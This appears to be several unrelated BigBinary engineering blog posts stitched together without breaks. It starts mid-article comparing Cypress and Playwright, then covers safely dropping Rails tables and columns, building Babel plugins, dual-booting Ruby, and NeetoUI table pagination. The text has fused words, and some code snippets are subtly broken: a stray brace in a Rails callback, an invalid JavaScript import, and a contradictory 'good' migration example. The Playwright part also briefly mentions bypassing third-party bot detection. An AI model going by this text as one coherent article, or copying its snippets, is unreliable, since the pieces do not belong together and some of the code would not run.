It looks pretty similar. This is because Playwright is designed to reduceflakiness as much as possible. To achieve that goal, it prevents the user fromimplementing anti-patterns that can lead to flaky results.

Misleading simplicity

Cypress is well known for its simplicity and natural syntax, which even the mostnon-technical person can learn. The code samples in the official documentation(which is still one of the best documentation for any framework) make it seemlike a walk in the park. But you soon realize that the examples are for verystraightforward application scenarios that we seldom encounter when working onlarge projects. When you start automating complex scenarios, things soon getcomplicated.

While performing simple tasks such as clicking on a button or asserting a textis extremely simple, doing something more moderately complex, such as storingthe text contents of a button in a variable, becomes highly complex. This isbecause Cypress architecture works by enqueuing the asynchronous commands. Thismeans that there are no return values for the commands, and the only way toretrieve values from Cypress commands is through a combination of closures andaliases. Let's consider a scenario where we have to verify that the sum of therandomly generated numbers on the screen is the same as the value shown on thepage.

<div><br/><figure style="display:flex;flex-direction:column;align-items:center;gap:0.5rem;"><img width="666" alt="Sample scenarios of the sum application" src="/blog_images/2024/why-we-switched-from-cypress-to-playwright/sample-application-that-adds-two-numbers.png"><figcaption style="font-size:small;">A sample application that adds two random numbers</figcaption></figure><br/></div>

Let's see the difference in code when automating this scenario in Cypress andPlaywright.

// Cypress// Considering all elements have proper data-cy labelscy.get('[data-cy="generate-new-numbers-button"]').click();cy.get('[data-cy="first-number"]').as("firstNumber");cy.get('[data-cy="second-number"]').as("secondNumber");cy.get('[data-cy="sum"]').as("sum");cy.get("@firstNumber").invoke("text").then(parseInt).as("num1");cy.get("@secondNumber").invoke("text").then(parseInt).as("num2");cy.get("@sum").invoke("text").then(parseInt).as("displayedSum");// Use the aliases to perform the assertioncy.get("@num1").then(num1 => {  cy.get("@num2").then(num2 => {    cy.get("@displayedSum").then(displayedSum => {      const expectedSum = num1 + num2;      expect(displayedSum).to.equal(expectedSum);    });  });});

We can see how complicated the code becomes when the scenario is just slightlycomplex. Meanwhile, the Playwright code will look like this.

// Playwright// Considering all elements have proper data-cy labels and the default test-id-attribute is data-cyawait page.getByTestId("generate-new-numbers-button").click();const firstNumber = await page.getByTestId("first-number").innerText();const secondNumber = await page.getByTestId("second-number").innerText();const sum = await page.getByTestId("sum").innerText();expect(parseInt(firstNumber) + parseInt(secondNumber)).toBe(parseInt(sum));

We can see from the code above, how easily we can implement the same logic inPlaywright.

Cost of maintenance for Cypress vs. Playwright tests

Cypress is an easy-to-learn framework. This simplicity is due to the abstractionof the most commonly used functionalities into Cypress commands. However, thisis a double-edged sword. The abstraction of logic into commands means thatcustomization is complicated in Cypress.

One of Cypress's significant drawbacks is its reliance on HTML tags andattributes to locate an element. While this makes sense from a programmingstandpoint, the end user is concerned about the roles of the page element(button, heading, etc.) and not how they have been implemented. For the samereason, the text, appearance and functionality of the application are bound toremain consistent throughout the various iterations, while the attributesthemselves are prone to changes.

This ultimately means the developers must keep fixing/rewriting the Cypresstests for minor UI updates. Cypress is also the slowest of all the e2e testingframeworks in JavaScript, resulting in longer CI runtimes and costs. Thesecombined make the cost of maintaining Cypress tests exceptionally high.

Besides this, Cypress has many features locked behind its Cypress Cloudplatform, which is very expensive, consideringthe fact that all it does is to collect the test results. This is an additionalcost to bear over the already expensive costs of maintaining the Cypress tests.Given these factors, the cost of preserving Cypress tests can quickly outweighthe benefits of its simplicity and ease of use.

Playwright solves all of these issues. It has many built-in reporters and anexcellent API for creating custom reporters, so many third-party reporters areavailable. We can even build our custom reporter to save even more costs.

Browser support and support for mobile viewport

Since Cypress tests run directly on the browsers, only a few are supported.Until recently, it did not even support WebKit browsers,even though Safari has a considerable marketshare. Even at the time of writing this article, Cypress's WebKit support isstill in beta. Even if it supports the required browsers, there is still theconstraint that only one browser can be used during an execution.

Playwright fixes all these issues with minimal effort from our end. It hascomplete support for WebKit browsers and conveniently provides a set of presetsfor the browsers, user agents and viewport of the most popular devices in themarket, including mobile devices. Furthermore, Playwright allows us to executethe same test in different browsers concurrently with the help of projects.These configurations give us the confidence that a passing Playwright test meansthe features will work fine for all users.

Support for multiple tabs and browsers

While most of the features of a web application can be tested within a singletab, there are a few cases where multiple tabs or browsers become necessary. Onesuch scenario we encountered while writing tests forNeetoChat, a real-time chat application. To testNeetoChat we need to open two screens - one for the sender and the other for thereceiver.

Cypress lacks the support for multiple tabs, so the only way to test thesescenarios was to do this long and complicated process:

1. Login as the sender
2. Send a message
3. Logout
4. Login as the receiver
5. Verify the message
6. Send a reply
7. Logout
8. Login as the sender
9. Verify the response.

We can see the tedious steps that we need to perform for a relatively simplescenario. This becomes even more tedious if we configure sessions in Cypressbecause we need to invalidate them each time we log out so that we can log in asa different user.

On the other hand, Playwright provides support for multiple tabs and multiplebrowsers. This means we can log in as the sender from one tab and the receiverfrom another, making the scenario more straightforward and effective.Additionally, we could identify whether the messages were being delivered inreal time because there is no delay in the user switching between the messageposting and verification processes. Playwright also supports browser contexts,which isolate the events between two browser instances, aiding in test isolationduring parallel test execution.

Lack of necessary tools

Cypress depends on plugins for many necessary tools. These are features we havecome to expect from any modern testing framework. Let's examine a few such toolsand how Playwright handles them natively.

<table><tr><td>Feature</td><td>Cypress plugin</td><td>Playwright implementation</td></tr><tr><td>Waiting until a particular event completes on a page</td><td><a href="https://github.com/NoriSte/cypress-wait-until">cypress-wait-until</a></td><td>Playwright offers a variety of APIs which pause the tests until a triggerevent like<a href="https://playwright.dev/docs/api/class-page#page-wait-for-url">waitForURL</a>,<a href="https://playwright.dev/docs/api/class-page#page-wait-for-request">waitForRequest</a>,<a href="https://playwright.dev/docs/api/class-locator#locator-wait-for">waitFor</a>etc.</td></tr><tr><td>Adding steps blocks in tests to logically group commands</td><td><a href="https://github.com/filiphric/cypress-plugin-steps">cypress-plugin-steps</a></td><td><a href="https://playwright.dev/docs/api/class-test#test-step">test.step</a></td></tr><tr><td>Ability to interact with iframes</td><td><a href="https://gitlab.com/kgroat/cypress-iframe">cypress-iframe</a></td><td><a href="https://playwright.dev/docs/api/class-framelocator">frameLocator</a></td></tr><tr><td>Filtering tests based on the titles or tags</td><td><a href="https://github.com/cypress-io/cypress/tree/develop/npm/grep">@cypress/grep</a></td><td><a href="https://playwright.dev/docs/api/class-fullproject#full-project-grep">Playwright grep</a></td></tr></table>

We must consider that Playwright includes all these tools out of the box whilestill being more performant than Cypress. As we add such plugins in Cypress, thepackage size also increases.

Random errors during tests due to Cypress's iFrame Execution Model

As discussed already, Cypress tests are executed inside a browser. They work byrunning Cypress as the main page and running the application which is beingtested as an iframe within the page. This can lead to a lot of unexpected errorsduring the test execution.

One of the most commonly encountered errors is related to security issues withcookies. When the tested application uses cookies, it might throw random errorsduring the Cypress execution depending on the configuration. This is because theSameSiteconfiguration of the cookies might block it from being shared with the parentCypress application. This can lead to them not be sent during API requestscausing authentication failures and also cause difficulties withsession configuration.

Additional benefits of using Playwright

More resistance to test failures due to minor text changes

At BigBinary, we follow a behavioral testing pattern where we verify thefeatures, and not minor details like texts and styles. We made this decision toensure that the tests don't fail due to minor changes in the application. Whilethis is our go-to testing style, there are still some cases where we cannotavoid testing the texts on the page (for example, the error message shown whiletesting negative test cases). This required our tests to be frequently updatedwhile working with Cypress whenever a minor text change was made in theapplication.

When we switched to Playwright, we got excited about how much we could customizeit according to our needs. This customization is available because, under thehood, it's still a Node.js application. We already usei18next to serve the texts on our application. Wefigured that the tests should use the same translation file. The translationkeys remain consistent even when the texts are updated.

This minor change brought a huge difference in our test stability. The averagenumber of tests we had to update each week decreased from 22 to 2. Thatis a lot of time saved, which we could effectively use to expand our testcoverage instead of wasting it fixing the existing suite.

Ability to build our own in-house reporter

When working with Cypress, we had to switch between many reporting tools,including Cypress Cloud, Currents.dev, and many other third-party tools. Whilethey all had benefits and drawbacks, we couldn't find one that addressed all ourneeds. This is where the excellent reporter APIs offered by Playwright allowedus to write our own Playwright reporter -NeetoPlaydash.

We currently use NeetoPlaydash for all our reporting needs and can customize itaccording to our requirements. Most importantly, we reduced the monthlyreporting tool costs by 77% ($405 to $90 per month). We also didn't have toworry about exhausting the monthly test limits of third-party reporters,allowing us to run our tests more frequently, thus improving the stability ofour applications.

More coverage on tests relating to third-party integrations

In Neeto products, we have support for third-party integrations. For example, inNeetoCal we can have integrations forGoogle Calendar, Zoom,Microsoft teams and a lot more third-partyapplications. Most of these applications have bot detection algorithmsimplemented in place to ensure that their platforms are not misused by badactors. This also meant that we had to consider the integration features to beunautomatable when tested using Cypress.

Playwright does things differently. Since it's a Node.js application, itsupports all the packages available for the platform. Because of its widesupport, the community has developed a lot of tools for Playwright. We tookadvantage of these tools and plugins and were able to bypass the bot-detectionalgorithms that prevented us from testing the third-party integrations. Thisallowed us to test these integrations in our products effectively and ensurethat the application ran smoothly with the help of automation tests.

Conclusion

We strongly believe that migrating to Playwright is one of the best decisions wehave ever made. We did not know what we were missing out on until we decided totake the leap and migrate. We got better performance, less flakiness and morecoverage from our test suites. The cost and time saved helped us to effectivelydivert resources to things that actually matter and let the tests do testinginstead of using additional resources to maintain the tests themselves.

This kind of issue is pretty common with schema migrations, especially whenyou're dropping tables or columns. If the migration finishes before the codedeployment catches up, you end up with the old process still trying to access tablesor columns that no longer exist. This mismatch can cause temporary errors, likethe 500s we saw.

The safest bet might be to turn on the maintenance mode every time we run aschema migration. At NeetoCal, we deploy changes to production every day. Weonly want to schedule downtime when it's absolutely necessary. So this optionwas ruled out. We also heard that some companies manually restart their dynosduring schema migrations to roll out the new code changes. However, this did notsit well with us either.

Most of the people we talked to solved this problem by having two stepdeployments.

Deployment 1: Deploy the code that does not use the table.

Deployment 2: Drop the table.

This can work, and it does work. However, we were worried about a potential edgecase. Let's say that a piece of code is still referring the table. After thedeployment 1 this code is working and we don't see anything going wrong. Itcould be due to recent merges slipping in unnoticed, as we ship very fast.

However, when do we deployment 2 the migrations will run first, dropping thetable, followed by the deployment of the code. When new code boots up, werealize that one part of the app is not working.

Now we are in trouble. We are in trouble because the table is gone. If we havetaken the database backup, then we can restore the backup but that causes allkinds of issues because we might not catch this bug for sometime. In themeantime other tables are getting new data. So restoring backup is a messysolution.

The only solution is to fix the code. Now we need to fix the code in a rush.That's what we want to avoid. Before we look at our solution, let's look at whatwe found when we looked at other solutions.

strong_migrations didn't protect dropping of table

At NeetoCal, we are using thestrong_migrations gem to catchunsafe migrations. The gem catches unsafe migration likeremoving a columnbut it doesn't capture unsafe operations like dropping a table.

Upon some digging, we foundthis issuewhere the author of the gem expressed unwillingness to add drop_table as anunsafe operation.

No worries. We can add dropping of a table as an unsafe operation instrong_migration ourselves. Here's how it can be done.

# config/initializers/strong_migrations.rbStrongMigrations.add_check do |method, args|  if method == :drop_table    stop! "Dropping tables via migrations is discouraged."  endend

To drop the table, we can use the safety_ensured block provided by thestrong_migrations gem to mark the step as safe.

# db/migrate/20240809131941_drop_users.rbclass DropUsers < ActiveRecord::Migration[8.0]  def change    safety_assured { drop_table :users }  endend

While this gets the work done, it doesn't solve the problem of "some code stillreferring the table" problem. Hence, this solution was a "no go" from our side.

Sam wants to delay dropping of tables and columns

Sam Saffron had run into similar problems. He cameup with a solution and he wrote about it inthis blog.

His solution was not to drop the tables and columns immediately. Instead use"defer drops" to drop column or tables at least 30 minutes after the particularmigration was run.

He introducedColumnDropperandTableDropperto get this work done.

We felt that this solution adds an extra layer of complexity and we rejectedthis solution. In fact later we found that they ran into some issues with "deferdrops" as discussed here.

Dropping tables and columns should be allowed if it follows a pattern

After some internal discussion, we also decided to follow a three-stepdeployment process to ensure zero downtime and easy roll back without any dataloss.

In "Deployment 1", we remove all the code that refers to the table we want todrop. This ensures that nothing in the application depends on that tableanymore.

In "Deployment 2", the table will be renamed. For example, tableusers will berenamed tousers-deprecated-on-2024-08-09. This step helps catch any danglingcode that is still referring to the old table. If any part of the app still triesto use the table, the errors will show up, and we can fix the problem in one of thetwo ways. We can revert the migration and the code. Or we can change the code.We have a choice. If we delete the table, then we don't have a choice.

Finally, in "Deployment 3", once were confident that the table is no longerin use, we can drop it completely. Since the table follows a specific namingpattern, it's clear that it's ready to be safely deleted.

We can follow a similar approach when dropping columns. To add an extra layer ofsafety, we mark the column that we need to drop as ignored using ActiveRecord'signored_columnsmethod. For example, if we need to drop the display_name column from theusers table, start by marking it as ignored:

class User < ActiveRecord::Base  self.ignored_columns += [:display_name]end

By doing this, even if the display_name column still exists in some lingeringcode, our model wont recognize it. This helps avoid any accidental referencesto the column in your code. Once youve successfully dropped the column, you canremove this line from your model.

If our model won't recognize it, then why do we need RuboCop for dropping acolumn. Once again, the answer is to avoid an edge case. Let's say that we areusing executing SQL directly. And this SQL is referring the columndisplay_name. Since a direct SQL is being used, adding this column toignored_columns will have no impact. Once this column is delete,d then only wewill get to know about the error.

By renaming the column, we maintain the data but at the same time all thelingering code would start failing.

RuboCop rules to ensure the policy is followed

Now the task was to build a custom cop to enforce the policy.

# baddrop_table :users# baddrop_table :users do |t|  t.string :email, null: false  t.string :first_name, null: falseend# gooddrop_table :users_deprecated_on_2024_08_09# gooddrop_table :users_deprecated_on_2024_08_09 do |t|  t.string :email, null: false  t.string :first_name, null: falseend

We need to handle removal of column similarly.

# badremove_column :users, :email# badchange_table :users do |t|  t.remove :emailend# goodremove_column :users, :email_deprecated_on_2024_08_09# gooddrop_table :users do |t|  t.remove :email_deprecated_on_2024_08_09end

We added these two cops to ourrubocop-neeto repo.

Safely renaming database columns

Renaming a column brings the same challenges as we have discussed in theprevious sections. Renaming a column directly will cause temporary downtimesince the new code references the new column name while the old code refers tothe old column name. To avoid downtime, we need to deliberately carry out thisoperation in multiple deployments.

Here are the steps to rename the username column to display_name in theusers table:

Deployment 1

1. Create the new column: Start by adding the new display_name column tothe table.

class AddDisplayNameToUsers < ActiveRecord::Migration[8.0]  def change    add_column :users, :display_name, :string  endend

2. Write to both columns: Update your app so it writes to both the old andnew columns. ActiveRecord callbacks can help with this:

class User < ApplicationRecord  before_save do    self.display_name = username if will_save_change_to_username? }  endend

3. Backfill data from the old column to the new column: Next, backfill thedata from the username column to the display_name column:

User.update_all('display_name = username')

Deployment 2

4. Move reads from the old column to the new column: Update application toread from the display_name column instead of the old username column, andthen remove the double writes to both columns.

Deployment 3

5. Drop the old column: Finally, drop the old column once everything is inplace.

class DropUsernameFromUsers < ActiveRecord::Migration[8.0]  def change    remove_column :users, :username  endend

This approach might seem tedious, but it's essential for achieving zero downtimeduring the migration and avoiding any edge cases. We can apply the same stepswhen renaming tables as well. For more details on that process, check outthe steps mentioned by the strong_migrations gem.

Running schema migrations can be scary, especially when they involve droppingtables and columns. But with the right safeguards in place, we can confidentlydeploy updates without worrying about any surprises.

For example, with modern JavaScript, we might use arrow functions like this:

const add = (a, b) => a + b;

This code works in modern browsers but not in older ones, like InternetExplorer, which does not support arrow functions. Without Babel, we would needto use older syntax to ensure compatibility, which limits our use of modernfeatures. Babel solves this problem by transforming the modern code into anolder syntax that more browsers can handle. For example, Babel converts thearrow function code above into the standard function syntax shown below, whichis compatible with all browsers.

var add = function add(a, b) {  return a + b;};

With Babel, we can write modern JavaScript code without worrying about browsercompatibility. Babel uses several presets and plugins to achieve this.

Plugins and Presets

Plugins are individual components that handle specific tasks in JavaScriptcode. For example, there are plugins for converting Arrow Functions to ES5Functions, JSX to React functional calls and so on.

There are two main types of plugins:

• Syntax Plugins: These plugins help Babel understand new syntax that itdoesnt recognize otherwise. For example, Babel doesnt understand JSX syntaxby default, so we need a plugin to enable this.@babel/plugin-syntax-jsx isa syntax plugin that allows Babel to recognize and parse JSX syntax.

• Transformation Plugins: This type of plugins help Babel convert codewritten in modern syntax into format more widely supported by differentbrowsers. For instance,@babel/plugin-transform-react-jsxis a transformation plugin that converts JSX into React functional calls.

Presets make things easier by bundling related plugins together. Instead ofsetting up each plugin separately, we can use a preset that includes all thenecessary plugins. For instance,@babel/preset-react includes both@babel/plugin-syntax-jsx and @babel/plugin-transform-react-jsx, handlingboth JSX recognition and transformation in one go.

Plugin and Preset Order in Babel Configuration

Babel processes plugins in the order they are listed in the Babel configurationfile. This is important because the output of one plugin can affect the input ofanother. For example, if we want to convert JSX to React functional calls, weneed to ensure that the JSX syntax is recognized first. So, we should list thesyntax plugin before the transformation plugin in the configuration file.

{  "plugins": ["@babel/plugin-syntax-jsx", "@babel/plugin-transform-react-jsx"]}

Babel process presets in reverse order. This means that the last preset listedwill be the first to be processed.

{  "presets": ["@babel/preset-env", "@babel/preset-react"]}

For example, let's look at the configuration mentioned above. In this case@babel/preset-react preset will be applied first, followed by@babel/preset-env, ensuring that React-specific transformations are handledbefore general environment compatibility transformations.

Custom Babel Plugin

While Babel offers a wide range of plugins and presets, it's true potential liesin the ability to create custom plugins tailored to our project's specificneeds. In the final section of this blog, we will explore a use case weencountered at Neeto and how we solved it with acustom Babel plugin. For now, let's focus on creating a simple plugin. Before webegin, it's important to understand a key concept called an AST (Abstract SyntaxTree).

Abstract Syntax Tree (AST)

An AST is a tree representation of the structure of a program. It breaks downthe code into its constituent parts and represents them as nodes in a tree. Eachnode in the tree represents a different part of the code, such as a variabledeclaration, a function call, or a loop. Babel uses ASTs to analyze andtransform JavaScript code. For example, consider the following code:

const sum = (x, y) => x + y;

This is how its AST looks:

In this example, the root node is the File node, which represents the entirecode file. Within it, there are several nested nodes like, VariableDeclarator,ArrowFunctionExpression and so on, each dedicated to different parts of thecode. As shown in the animation, hovering over each node highlights thecorresponding code segment on the left-hand side. To explore and interact withboth the code and its AST, the AST Explorer tool canbe used.

Babel transpile stages

Now that we have a basic understanding of ASTs, let's see at how Babel works. Ithas three main stages:

• Parse Stage: In this stage, the code that is passed to Babel as input isconverted into an AST. This is done using the@babel/parser package.
• Transform Stage: This is the stage where Babel traverses and modifies theAST using @babel/traverse package.This is where plugins come into play to apply specific transformations. Itsimportant to note that this is the only step we can influence. In the nextsection, we'll see how to create a custom Babel plugin.
• Generate Stage: Once the AST has been modified, it needs to be convertedback into code. This is done using@babel/generator package.

Creating a Babel Plugin

As mentioned in the previous section, Babel plugins are used to applytransformations to the AST, and this is the only step we can influence. So,lets see how to create a simple Babel plugin. We will create a plugin thatconverts all == operators in the code to ===. This is a commontransformation that developers often use to ensure strict equality checks intheir code.

First, let's set up the project structure for our plugin.

• Step 1: Create a new directory and initialize a new npm package for theplugin. Let's prefix the package name with babel-plugin-. This namingconvention clearly indicates that the package is a Babel plugin, making iteasier for others to identify its purpose.

  mkdir babel-plugin-strict-equalitycd babel-plugin-strict-equalitynpm init -y

• Step 2: Create a file named index.js in the root of the plugindirectory. This file will contain the logic for the plugin.

  touch index.js

Now that we have set up the project structure, let's start writing the plugincode.

To transform the code, we need to traverse the AST generated from the parsestage. We can do this by creating a visitor object that defines thetransformations to be applied to the AST. The visitor object contains methodsthat correspond to different types of nodes in the AST. When Babel encounters anode of a particular type, it calls the corresponding method in the visitorobject to apply the transformation.

To understand this better, let's look at a code example that we want totransform:

a == b;

We want to transform this code into:

a === b;

First, let's examine the AST representation of the original code:

{  "type": "File",  "program": {    "type": "Program",    "body": [      {        "type": "ExpressionStatement",        "expression": {          "type": "BinaryExpression",          "left": {            "type": "Identifier",            "name": "a"          },          "operator": "==",          "right": {            "type": "Identifier",            "name": "b"          }        }      }    ]  }}

Here, our goal is to modify the BinaryExpression node with the operator ==to ===. To achieve this, we need to create a visitor method for theBinaryExpression. When Babel encounters a BinaryExpression node with theoperator == in the AST, it will call our visitor method to apply thetransformation.

So, let's write the code for our plugin. Open the index.js file we createdearlier and add the following code:

module.exports = function () {  return {    visitor: {      BinaryExpression(path) {        if (path.node.operator === "==") {          path.node.operator = "===";        }      },    },  };};

This plugin will traverse the AST, identify BinaryExpression nodes with the== operator, and replace them with ===, ensuring strict equality checks areused throughout the code.

Now that we have written the plugin code, let's see how to test it.

Adding tests for the plugin

To ensure that our plugin works as expected, we need to write tests. For this,we can use thebabel-plugin-tester andjest packages.babel-plugin-tester is a utility that makes it easy to test Babel plugins,while jest is a popular testing framework for JavaScript. Let's see how we canadd tests for our plugin.

• Step 1: Install the required packages:

  yarn add --dev babel-plugin-tester jest

• Step 2: Create a folder named tests in the project directory. Insidethis folder, create a test file named strict-equality.spec.js with thefollowing content:

  const pluginTester = require("babel-plugin-tester");const plugin = require("../index");pluginTester({  plugin,  tests: {    "should convert == to ===": {      code: "a == b;",      output: "a === b;",    },    "should not modify == inside a string or comment": {      code: `        const str = "a == b";        // comparison: a == b      `,      output: `        const str = "a == b";        // comparison: a == b      `,    },  },});

  In the code above, we are passing an object to the pluginTester functionwith two keys: plugin and tests. The plugin key specifies the Babelplugin we want to test, while the tests key contains an object defining ourtest cases. Each test case includes a code key with the input code and anoutput key with the expected result after the plugin is applied. ThepluginTester function runs each test case, comparing the actual output withthe expected output. If they match, the test passes; if they dont, it fails.

• Step 3: Now to run the tests, use the following command:

  yarn jest

  This will run the tests and display the results in the terminal. If the testpasses, it means our plugin is working as expected.

  

Testing the plugin in a real project using yalc

While pluginTester helps cover many edge cases, its challenging to anticipateall possible scenarios. For this, we need to run our rules in real projects andwe will have to achieve this without publishing our package to the remoteregistry right away.

To achieve this, we can use the yalcpackage. yalc is a tool that allows us to work on the npm packages as if theywere published, but without actually publishing them. It creates a symlink toour local package in the global npm registry, allowing us to install and use itin other projects. Let's see how we can use yalc to test our plugin.

• Step 1: Install yalc globally.

  yarn global add yalc

• Step 2: Publish the plugin using yalc by running the following commandin the plugin directory.

  yalc publish

  This creates a symlink to the local package in the global npm registry.

• Step 3: Install the plugin in the project using yalc by running thefollowing command in the project directory.

  yalc add babel-plugin-strict-equality

  This will add the plugin to the project as if it were installed from npmregistry.

• Step 4: Include the plugin in the Babel configuration.

  {  "plugins": ["babel-plugin-strict-equality"]}

After testing the plugin in a real project and being satisfied with the results,it can be published to the npm registry.

Creating a Babel preset

If we have multiple plugins that we want to bundle together, we can create aBabel preset. As mentioned earlier, presets make it easier to configure Babel bybundling related plugins together. Here is an example of how we can create aBabel preset that includes the babel-plugin-strict-equality plugin:

• Step 1: Create a new directory for the preset and initialize a new npmpackage for the preset. Let's prefix the package name with babel-preset- toindicate that it is a Babel preset.

  mkdir babel-preset-strict-equalitycd babel-preset-strict-equalitynpm init -y

• Step 2: Create a folder named plugins in the root of the presetdirectory. This folder will contain the plugins that we want to include in thepreset. In our case, we have only one plugin, so create a file namedstrict-equality.js inside the plugins folder and add our plugin code toit.

  module.exports = function () {  return {    visitor: {      BinaryExpression(path) {        if (path.node.operator === "==") {          path.node.operator = "===";        }      },    },  };};

• Step 3: Create a file named index.js in the root of the presetdirectory. This file will contain the logic for bundling the plugins together.

  const strictEquality = require("./plugins/strict-equality.js");module.exports = function () {  return {    plugins: [strictEquality],  };};

  Here we are returning an object with a plugins key that contains an array ofplugins to be included in the preset. If there are multiple plugins, we canlist them all in this array. We can now publish this preset to the npmregistry and use it in our Babel configuration.

• Step 4: To use the preset in the Babel configuration, include it likethis:

  {  "presets": ["babel-preset-strict-equality"]}

Here we have created a simple Babel plugin and preset. This is just the tip ofthe iceberg when it comes to creating custom Babel plugins. We can createplugins to handle a wide range of tasks, from optimizing code to adding newfeatures. To know more about the functions and methods available in Babel, youcan refer to theBabel handbook.In the next section, we will see the use case we encountered at Neeto and how wesolved it using a custom Babel plugin.

Motivation behind babel-preset-neeto

At Neeto, we build our own custom plugins and presets tostreamline and simplify our development workflow. Let's look into one of thespecific plugins we've designed and implemented and see how it enhances ourdevelopment process.

We use Zustand for global state management.Zustand provides shallow function, which allows us to construct a singleobject with multiple state-picks inside. This helps prevent unnecessaryre-renders by using shallow equality to check if the selected state values havechanged. Let's consider the following example:

import { shallow } from "zustand/shallow";const { id, name } = useSessionStore(  store => ({    id: store[sessionId]?.user.id,    name: store[sessionId]?.user.name,  }),  shallow);

In this example, the component only re-renders if id or name changes. If anyother state in the store changes, the component will not re-render. Thissignificantly improves performance. To know how this works, you can refer tothisblog post.However, when dealing with many state selections, the code can become verboseand repetitive. For example, consider the following code:

import { shallow } from "zustand/shallow";const {  id,  name,  email,  notifications,  theme,  language,  isAuthenticated,  apiToken,  appVersion,  darkModeEnabled,} = useSessionStore(  store => ({    id: store[sessionId]?.user.id,    name: store[sessionId]?.user.name,    email: store[sessionId]?.user.email,    notifications: store[sessionId]?.user.notifications,    theme: store[sessionId]?.user.theme,    language: store[sessionId]?.user.language,    isAuthenticated: store[sessionId]?.user.isAuthenticated,    apiToken: store[sessionId]?.user.apiToken,    appVersion: store[sessionId]?.user.appVersion,    darkModeEnabled: store[sessionId]?.user.darkModeEnabled,  }),  shallow);

This is really repetitive, for each state, we need to add a line on left andright side of the code. Then we thought, what if we can infer the right sidefrom the left side of the code. This will make the code more readable and lesserror-prone. But this is not possible with the custom functions or hooks becausethey operate at runtime and cannot modify the structure of the code duringtranspilation. This is where custom Babel plugins come into play. We have builtaZustand pick transformercapable of generating the boilerplate at the time of transpiling the code.

If this plugin is added to the babel configuration, we can rewrite the previousexample as:

const {  id,  name,  email,  notifications,  theme,  language,  isAuthenticated,  apiToken,  appVersion,  darkModeEnabled,} = useSessionStore.pick([sessionId, "user"]);

The array inside pick() is the path of the nested object to be accessed. Youmight also notice that we don't have theimport { shallow } from "zustand/shallow" statement in this piece of code. Wedon't need that. The plugin will automatically add it for us at the time oftranspiling.

The plugin detects that id, name, email, and other properties are to beaccessed from the store[sessionId].user in useSessionStore, and it generatescode for it. It will also add optional chaining for all the nested propertiesautomatically to make the picks free from null-pointer errors.

For more information about the plugin, refer to thedocumentation.To see the implementation of the plugin, check thesource code

We've open-sourced this preset package so that it's accessible for use in yourprojects as well. To include this preset, install it using the followingcommand:

yarn add -D @bigbinary/babel-preset-neeto

And then include it in the Babel configuration:

{  "presets": ["@bigbinary/neeto"]}

Dual-booting is a process that allows you to run your application with differentsets of dependencies, making it easy to switch between them. This approachenables you to quickly test your code with both the current and the newerversion of what you are upgrading, ensuring that everything works smoothlybefore fully committing to the upgrade.

How to dual-boot Ruby?

The dual-boot technique involves maintaining two separate Gemfile.lock fileswithin your Rails project: one for the current version of Ruby and another forthe next version you're upgrading to.

To get started, first create a symbolic link for Gemfile.next with thefollowing command:

ln -s Gemfile Gemfile.next

This command creates Gemfile.next file, which you'll use for the new Rubyversion. This file isn't a separate copy but rather a pointer to your originalGemfile in the Rails project directory.

Next, add the following snippet at the top of your Gemfile:

def next?  File.basename(__FILE__) == "Gemfile.next"end

This code snippet helps determine which Gemfile is in use, whether it's thestandard one or the Gemfile.next for the new Ruby version.

Now, let's utilize the next? method to dynamically set the Ruby version in theGemfile using a conditional operator:

ruby_version = next? ? "3.3.0" : "3.2.2"ruby ruby_version

This code snippet helps determine the Ruby version based on the next? method.If next? returns true, meaning you're operating within Gemfile.next, it setsthe Ruby version to "3.3.0". Otherwise, if the standard Gemfile is beingprocessed, it defaults to "3.2.2".

How to install dependencies?

With the dual-boot setup in place, you can effectively manage dependencies forboth your current and next versions of the application.

Installing current dependencies: To install dependencies for your currentversion, simply run:

bundle install

This command uses the standard Gemfile to resolve and install dependencies foryour current application.

Installing next dependencies: To install dependencies for the next version ofyour application, use the following command:

BUNDLE_GEMFILE=Gemfile.next bundle install

This command specifies Gemfile.next as the Gemfile, allowing you to installdependencies specifically for the next version.

Managing commands for the next version: To perform various operations for thenext version, you can use the syntax BUNDLE_GEMFILE=Gemfile.next <command>.For example, to start the Rails server with the next version's dependencies, youwould use:

BUNDLE_GEMFILE=Gemfile.next rails s

This approach ensures that Gemfile.next is explicitly used for the specifiedcommand, allowing you to work with the next version of your application whilekeeping dependencies and configurations correctly managed.

Considerations for dual-boot setup

When implementing a dual-boot setup, it's crucial to consider where both Rubyand gem versions are defined. While gem versions are usually specified only inthe Gemfile, the Ruby version can be defined in several locations. The mostcommon are:

• .ruby-version File: Used by version managers like rbenv to specify the Rubyversion.
• Gemfile: This is where Bundler, RVM, Heroku, and similar tools reference theRuby version to manage the Ruby environment.
• Gemfile.lock: Although the Ruby version in this file is mostly informative,it's worth noting.
• Dockerfile: Defines the Ruby version for Docker containers if you're usingDocker.
• CI setup steps and configurations.
• Other less common locations within applications.

We need to make sure that dual-boot setup is compatible with all of them toensure a smooth transition and consistency across different environments.

Sorting and pagination

If you have worked with tables, you may already be familiar with the followingcode. In this example, we are using theTable componentfrom NeetoUI. It is the developer'sresponsibility to handle the sorting and pagination logic, make the API callswith an updated payload, and ensure that the URL is updated accordingly.

import React, { useState } from "react";import { Table } from "@bigbinary/neetoui";const Teams = () => {  const [page, setPage] = useState(1);  const [sortBy, setSortBy] = useState(null);  const [orderBy, setOrderBy] = useState(null);  const handleSort = ({ sortBy, orderBy }) => {    setSortBy(sortBy);    setOrderBy(orderBy);    // Custom sort logic  };  const handlePageChange = page => {    setPage(page);    // Custom pagination logic.  };  const { data: teams, isLoading } = useFetchTeams({ page, sortBy, orderBy });  return (    <Table      currentPageNumber={page}      handlePageChange={handlePageChange}      onChange={(_, __, sorter) => handleSort(sorter)}      {...{ totalCount, rowData, columnData, ...otherProps }}    />  );};export default Teams;

To make both the frontend and backend more standardized and reusable, weestablished some conventions. The NeetoUI Table will handle both sorting andpagination internally. When the user navigates to a different page, NeetoUI willupdate the page and page_size query parameters in the URL.

Similarly, when a column is sorted, the sort_by and order_by queryparameters are updated. We no longer need a dedicated state to store thesevalues. When the query parameter changes, the API will be called with themodified payload.

Here is what the simplified code looks like:

import React from "react";import { Table } from "@bigbinary/neetoui";import { useQueryParams } = "@bigbinary/neeto-commons-frontend/react-utils"const Teams = () => {  const { page, sortBy, orderBy } = useQueryParams();  const { data: teams, isLoading } = useFetchTeams({ page,                                                     sortBy,                                                     orderBy });  return (    <Table {...{ totalCount, rowData, columnData, ...otherProps }} />  );};export default Teams;

Here, we utilize a useQueryParams utility helper. It parses the URL andreturns the query parameters after converting them to camel case.

